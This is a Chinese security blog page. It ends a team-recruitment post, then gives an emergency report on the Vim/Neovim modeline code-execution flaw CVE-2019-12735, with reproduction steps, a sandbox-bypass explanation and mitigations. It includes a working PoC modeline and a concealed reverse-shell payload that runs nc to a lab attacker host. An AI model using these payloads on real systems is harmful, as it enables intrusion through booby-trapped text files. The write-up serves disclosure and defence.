  • 掌握国内 DCS 相关协议者优先。

3.2 你能得到

加入我们有什么好处呢?

  • 拥有一群志同道合的朋友;
  • 个人技术提升、团队归属感、职业发展;
  • 获得各大公开课、沙龙的参与演讲机会;
  • 在日后工作中可多出一份项目经验;
  • 获得许多团队的内部资料(学习资料、测试环境(PLC、DCS、RTU等)等)及内部福利;
  • 参与论文、团队安全系列图书的撰写。

3.3 加入方式

我是 Ms08067 实验室工控安全小组的 laucyun,如果您想加入我们,一起成长、学习,并且符合以上条件。

请将个人简介发送至 liu#laucyun.com(替换#为@即可),抄送 8946723#qq.com(替换#为@即可),邮件标题为 “[加入申请]-工控安全-xxx”,并包含如下内容:

  • 个人基本情况介绍;
  • 研究方向;
  • 相关技能;
  • 原创文章、研究成果、项目经历等。

...

Tags Read More


文本编辑器 Vim/Neovim 任意代码执行漏洞应急报告

by LauCyun Jun 06 14:24:12 7,535 views

继 Notepad 被曝不明 0day 漏洞后,Vim/Neovim 也被爆任意代码执行漏洞,安全研究员 Arminius 在 Twitter 上公开了该漏洞的 PoC 和详情。


图1 推文

0x0 漏洞描述

通过打开特意构造的文本文件,就能导致 Vim 和 Neovim 易受经由模式行的任意代码执行攻击。

漏洞编号:

  • CVE-2019-12735

影响版本:

  • Vim < 8.1.1365
  • Neovim < 0.3.6

0x1 漏洞复现

1 复现环境

具体的复现环境如下:

  • 靶机:
    • 系统:Ubuntu 16.04
    • IP:192.168.201.170
    • Vim版本:7.4.1689
  • 攻击机:
    • 系统:Kali Linux
    • IP:192.168.201.102

2 PoC

首先,创建文件 poc.txt,其内容如下:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

确保模式行选项未被禁用(:set modeline)

然后,用 Vim 打开该文件:

$ vim poc.txt

在打开文件时,系统将执行uname –a命令,过程如下图所示:


图2 执行命令

3 反弹shell

该 PoC 说明的是真实的攻击方式,当用户打开该文件时就会反弹 Shell。为了隐藏该攻击,在打开文件时,文件会被立即覆写。另外,当内容以 cat 打印时,该 PoC 使用终端逃逸序列来隐藏模式行。

首先,创建文件 shell.txt,其内容如下:

\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 192.168.201.102 9999 -t -e /bin/bash &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

不建议创建 shell.txt,建议直接下载 shell.txt ,然后根据需求进行修改。

然后,用 Vim 打开该文件即可,其过程如下图所示:


图3 反弹Shell

至于其它玩法在这就不演示。

0x2 漏洞细节

该模式行特征允许在文件的开头或结尾指定自定义编辑器选项。该特征默认启用并适用于所有文件类型,包括单纯的.txt。模式行一般如下:

/* vim: set textwidth=80 tabstop=8: */

出于安全原因考虑,模式行中仅允许选项子集,如果该选项的值中包含一个表达式,那么就会在沙箱中执行:

出于安全考虑(有人可能会创建具有模式行的木马文本文件),仅支持set命令。并非能够设置所有的选项。对于某些选项而言,仅设置了一个标志,因此当使用时,沙箱就奏效了。

沙箱的作用是阻止副作用:

“foldexpr”、“formatexpr”、“includeexpr”、“indentexpr”、“statusline”和“foldtext”选项可能会在沙箱中得以评估。这意味着你不会遭受具有恶意副作用的表达式的影响。这就确保了当这些选项从模式行设置时的安全性。

然而,:source!命令可用于绕过沙箱。它从既定文件中读取并执行命令,如同当手动输入时,在沙箱被丢掉时运行它们。

:so[urce]!(file){file}中读取 vim 命令。这些命令以正常模式执行,就像你输入那样。

因此,可以轻松地构建在沙箱外运行代码的模式行:

# vim: set foldexpr=execute('\:source! some_file'):

另外 Neovim 需要将execute()列为黑名单的步骤:

execute({command} [, {silent}])                         *execute()*
                Execute {command} and capture its output.
                [...]
                This function is not available in the |sandbox|.

这里可使用assert_fails() ,它也有{cmd}实参:

assert_fails({cmd} [, {error} [, {msg}]])               *assert_fails()*
                Run {cmd} and add an error message to |v:errors| if it does
                NOT produce an error.

如下模式行使用折叠表达式来运行source! %以执行当前文件,而它反过来将uname –a ||“(garbage)”作为 shell 命令进行执行:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

另外,Neovim 独有的函数nvim_input()易受同样方式的影响,例如:

vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0

0x3 漏洞补丁

除了打补丁外,建议禁用 vimrc 中的模式行 (set nomodeline),使用 securemodelines 插件或禁用 modelineexpr(补丁 8.1.1366 后,Vim-only)来禁用模式行中的表达式。

0x4 参考

...

Tags Read More